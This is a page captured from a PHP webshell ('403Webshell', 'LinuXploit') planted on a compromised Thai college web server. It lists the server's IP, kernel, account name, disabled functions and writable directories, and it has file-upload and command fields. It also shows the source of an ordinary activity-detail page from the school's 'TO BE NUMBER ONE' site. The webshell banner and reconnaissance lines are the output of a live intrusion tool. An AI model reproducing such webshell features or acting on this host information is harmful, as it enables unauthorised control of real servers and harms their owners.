403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/public_html/rytc/tobe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/public_html/rytc/tobe/activity_detail.php
<?php
require_once __DIR__ . '/config.php';

$id = (int)($_GET['id'] ?? 0);
if ($id <= 0) {
    redirect('index.php#eq');
}

$stmt = $pdo->prepare('SELECT * FROM activities WHERE id = ?');
$stmt->execute([$id]);
$activity = $stmt->fetch();

if (!$activity) {
    http_response_code(404);
}

$related = [];
if ($activity) {
    $stmt = $pdo->prepare('SELECT * FROM activities WHERE id <> ? AND category = ? ORDER BY created_at DESC LIMIT 3');
    $stmt->execute([$id, $activity['category']]);
    $related = $stmt->fetchAll();
}


function activity_back_url($category) {
    foreach (['ดนตรี','กีฬา','ศิลปะ','ร้องเพลง','เต้นรำ','Talk','DJ'] as $cat) {
        if (mb_strpos($category, $cat) !== false) {
            return 'index.php?creative_category=' . urlencode($cat) . '#creative';
        }
    }
    return 'index.php#eq';
}

function activity_icon($category) {
    if (mb_strpos($category, 'EQ') !== false) return 'bi-emoji-smile-fill';
    if (mb_strpos($category, 'ดนตรี') !== false) return 'bi-music-note-beamed';
    if (mb_strpos($category, 'กีฬา') !== false) return 'bi-trophy-fill';
    if (mb_strpos($category, 'ศิลปะ') !== false) return 'bi-palette-fill';
    if (mb_strpos($category, 'ร้องเพลง') !== false) return 'bi-mic-fill';
    if (mb_strpos($category, 'เต้น') !== false) return 'bi-universal-access-circle';
    if (mb_strpos($category, 'Talk') !== false) return 'bi-chat-square-quote-fill';
    if (mb_strpos($category, 'DJ') !== false) return 'bi-broadcast-pin';
    return 'bi-stars';
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title><?= $activity ? e($activity['title']) : 'ไม่พบข้อมูลกิจกรรม' ?> | TO BE NUMBER ONE RYTC</title>
  <link rel="icon" type="image/png" href="assets/img/logo.png">
  <link rel="apple-touch-icon" href="assets/img/logo.png">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.css" rel="stylesheet">
  <link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div class="topbar py-2">
  <div class="container d-flex flex-wrap justify-content-between gap-2">
    <div><i class="bi bi-heart-pulse-fill me-1"></i> เป็นหนึ่ง โดยไม่พึ่งยาเสพติด</div>
    <div><i class="bi bi-building me-1"></i> วิทยาลัยเทคนิคระยอง</div>
  </div>
</div>
<nav class="navbar navbar-expand-lg navbar-main sticky-top">
  <div class="container">
    <a class="navbar-brand d-flex align-items-center gap-2" href="index.php">
      <img src="assets/img/logo.png" alt="TO BE NUMBER ONE RYTC" class="site-logo">
      <span>TO BE NUMBER ONE RYTC</span>
    </a>
    <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarMenu"><span class="navbar-toggler-icon"></span></button>
    <div class="collapse navbar-collapse" id="navbarMenu">
      <ul class="navbar-nav ms-auto">
        <li class="nav-item"><a class="nav-link" href="index.php#home">หน้าแรก</a></li>
        <li class="nav-item"><a class="nav-link" href="index.php#services">บริการ</a></li>
        <li class="nav-item"><a class="nav-link" href="index.php#consult">ขอคำปรึกษา</a></li>
        <li class="nav-item"><a class="nav-link" href="index.php#eq">กิจกรรม</a></li>
        <li class="nav-item"><a class="nav-link" href="admin/login.php">ผู้ดูแล</a></li>
      </ul>
    </div>
  </div>
</nav>

<header class="page-header detail-header">
  <div class="container">
    <a href="<?= $activity ? activity_back_url($activity['category']) : 'index.php#eq' ?>" class="back-link"><i class="bi bi-arrow-left-circle me-1"></i> กลับหน้ากิจกรรม</a>
    <h1 class="fw-bold mt-3 mb-0"><?= $activity ? e($activity['title']) : 'ไม่พบข้อมูลกิจกรรม' ?></h1>
    <?php if ($activity): ?>
      <p class="mb-0 mt-2"><span class="detail-category"><i class="bi <?= activity_icon($activity['category']) ?> me-1"></i><?= e($activity['category']) ?></span></p>
    <?php endif; ?>
  </div>
</header>

<main class="section-padding pt-0">
  <div class="container">
    <?php if (!$activity): ?>
      <div class="content-card p-5 text-center">
        <i class="bi bi-exclamation-circle fs-1 text-danger"></i>
        <h3 class="fw-bold mt-3">ไม่พบข้อมูลกิจกรรม</h3>
        <p class="text-muted">กิจกรรมนี้อาจถูกลบหรือไม่มีอยู่ในระบบ</p>
        <a href="index.php#eq" class="btn btn-gradient px-4">กลับไปหน้ากิจกรรม</a>
      </div>
    <?php else: ?>
      <div class="row g-4 align-items-start">
        <div class="col-lg-8">
          <article class="content-card detail-card">
            <div class="detail-cover">
              <?php if ($activity['image']): ?>
                <img src="uploads/activities/<?= e($activity['image']) ?>" alt="<?= e($activity['title']) ?>">
              <?php else: ?>
                <div class="detail-cover-placeholder"><i class="bi <?= activity_icon($activity['category']) ?>"></i></div>
              <?php endif; ?>
            </div>
            <div class="detail-body">
              <div class="d-flex flex-wrap gap-2 align-items-center mb-3">
                <span class="category-badge"><?= e($activity['category']) ?></span>
                <span class="text-muted"><i class="bi bi-calendar-event me-1"></i><?= e(date('d/m/Y H:i', strtotime($activity['created_at']))) ?></span>
              </div>
              <h2 class="fw-bold mb-3"><?= e($activity['title']) ?></h2>
              <div class="detail-text">
                <?= nl2br(e($activity['detail'] ?: 'ไม่มีรายละเอียดเพิ่มเติม')) ?>
              </div>
            </div>
          </article>
        </div>
        <div class="col-lg-4">
          <aside class="content-card p-4 mb-4">
            <h5 class="fw-bold mb-3"><i class="bi bi-info-circle-fill text-danger me-1"></i> ข้อมูลกิจกรรม</h5>
            <div class="detail-info-row"><span>หมวดหมู่</span><strong><?= e($activity['category']) ?></strong></div>
            <div class="detail-info-row"><span>วันที่เพิ่มข้อมูล</span><strong><?= e(date('d/m/Y', strtotime($activity['created_at']))) ?></strong></div>
            <a href="<?= activity_back_url($activity['category']) ?>" class="btn btn-outline-gradient w-100 mt-3">ดูกิจกรรมอื่น</a>
          </aside>

          <?php if ($related): ?>
            <aside class="content-card p-4">
              <h5 class="fw-bold mb-3"><i class="bi bi-stars text-danger me-1"></i> กิจกรรมที่เกี่ยวข้อง</h5>
              <?php foreach ($related as $r): ?>
                <a href="activity_detail.php?id=<?= (int)$r['id'] ?>" class="related-item">
                  <div class="related-thumb">
                    <?php if ($r['image']): ?>
                      <img src="uploads/activities/<?= e($r['image']) ?>" alt="<?= e($r['title']) ?>">
                    <?php else: ?>
                      <i class="bi <?= activity_icon($r['category']) ?>"></i>
                    <?php endif; ?>
                  </div>
                  <div>
                    <strong><?= e($r['title']) ?></strong>
                    <small><?= e(mb_strimwidth($r['detail'], 0, 60, '...')) ?></small>
                  </div>
                </a>
              <?php endforeach; ?>
            </aside>
          <?php endif; ?>
        </div>
      </div>
    <?php endif; ?>
  </div>
</main>

<footer class="footer">
  <div class="container text-center">
    <h5 class="fw-bold">TO BE NUMBER ONE วิทยาลัยเทคนิคระยอง</h5>
    <p class="mb-1">Be Yourself • Be Friends • Be Positive • Be Strong • Be Success</p>
    <small>© <?= date('Y') ?> Rayong Technical College</small>
  </div>
</footer>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
<script src="assets/js/main.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit